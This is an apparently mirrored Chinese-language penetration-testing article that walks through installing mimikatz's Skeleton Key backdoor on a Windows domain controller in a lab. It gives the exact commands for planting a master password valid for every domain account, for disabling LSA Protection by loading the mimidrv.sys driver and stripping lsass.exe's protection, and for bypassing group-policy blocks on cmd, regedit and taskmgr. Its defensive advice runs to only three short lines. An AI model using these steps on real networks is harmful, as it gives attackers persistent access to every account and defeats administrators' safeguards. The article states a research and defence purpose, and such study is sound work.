作者:
三好學生
·
2016/02/29 10:24
0x00 前言
上篇介紹了利用SSP來維持域控許可權,美中不足在於其需要域控重啟才能生效,而在眾多的域滲透方法中,當然存在不需要域控重啟即能生效的方法,所以這次就介紹其中的一個方法——Skeleton Key
0x01 簡介
Skeleton Key被安裝在64位的域控伺服器上
支援Windows Server2003—Windows Server2012 R2
能夠讓所有域使用者使用同一個萬能密碼進行登入
現有的所有域使用者使用原密碼仍能繼續登入
重啟後失效
Mimikatz(Version 2.0 alpha,20150107)支援 Skeleton Key
參考程式碼:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c
0x02 實際測試
測試環境
域控:Server 2008 R2 x64
域內主機: Win7 x64
1、域內主機使用正確密碼登入域控
使用者名稱:[email protected]
密碼:12345678!Q
cmd命令:
#!bash
net use \\WIN-8VVLRPIAJB0.test.local 12345678!Q /user:[email protected]
dir \\WIN-8VVLRPIAJB0.test.local\c$
如圖
2、在域控安裝Skeleton Key
mimikatz命令:
#!bash
privilege::debug
misc::skeleton
如圖
注:
64系統需要使用64位的mimikatz
3、域內主機使用Skeleton Key登入域控
(1)清除net use連線
cmd命令:
#!bash
net use */del /y
如圖
(2)使用Skeleton Key登入
mimikatz的預設Skeleton Key設定為mimikatz
cmd命令:
#!bash
net use \\WIN-8VVLRPIAJB0.test.local mimikatz /user:[email protected]
dir \\WIN-8VVLRPIAJB0.test.local\c$
如圖
(3)許可權測試
a、使用域內不存在的使用者+Skeleton Key登入
b、使用域內普通許可權使用者+Skeleton Key登入
如圖
發現使用域內不存在的使用者無法登入
使用域內普通許可權使用者無法訪問域控
結論: Skeleton Key只是給所有賬戶新增了一個萬能密碼,無法修改賬戶的許可權
4、LSA Protection
微軟在2014年3月12日新增了LSA保護策略,用來防止對程式lsass.exe的程式碼注入,這樣一來就無法使用mimikatz對lsass.exe進行注入,相關操作也會失敗。
適用系統:
Windows 8.1
Windows Server 2012 R2
所以接下來換用Windows Server 2012 R2 x64進行測試
(1)配置LSA Protection
登錄檔位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
如圖
新建-DWORD
值,名稱為RunAsPPL
,數值為00000001
如圖
重啟系統
(2)測試Skeleton Key
mimikatz命令:
#!bash
privilege::debug
misc::skeleton
此時失敗
(3)繞過LSA Protection
mimikatz早在2013年10月就已支援繞過LSA Protection
如圖
參考原始碼:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_kernel.c
注:
該功能需要mimidrv.sys檔案
mimikatz命令:
#!bash
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
如圖,匯入驅動檔案mimidrv.sys後,繞過LSA Protection,操作成功
0x03 補充
分享一些常見問題的解決方法,管理員常常會禁用一些重要程式的執行,比如cmd、regedit、taskmgr
1、如何禁用cmd、regedit、taskmgr
輸出gpedit.msc
進入本地組策略編輯器
本地計算機測試-使用者配置-管理模板-系統
如圖
禁用cmd:
選擇"阻止訪問命令提示符"-啟用
禁用regedit:
選擇"阻止訪問登錄檔編輯工具"-啟用
禁用taskmgr:
選擇"不要執行指定的Windows應用程式"-不允許的應用程式列表-填入taskmgr.exe-啟用
測試:
如圖cmd、regedit、taskmgr均已被禁用
2、繞過
mimikatz命令:
#!bash
privilege::debug
misc::cmd
misc::regedit
misc::taskmgr
如圖,成功執行,繞過限制
0x04 防禦
- 保護域控許可權
- 檢視域控日誌
- 對照攻擊方法尋找入侵痕跡
0x05 小結
這次不僅測試了Skeleton Key
,還介紹了mimikatz
的一些隱藏功能,而這些功能並未在其官方說明文件中出現。
其實透過研究mimikatz
的原始碼,你會發現還有許多的隱藏功能值得挖掘利用。
還是那句老話,只有瞭解如何攻擊才能更好的防禦,希望本文無論是對滲透攻擊還是防禦,均有幫助。
0x06 參考資料
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!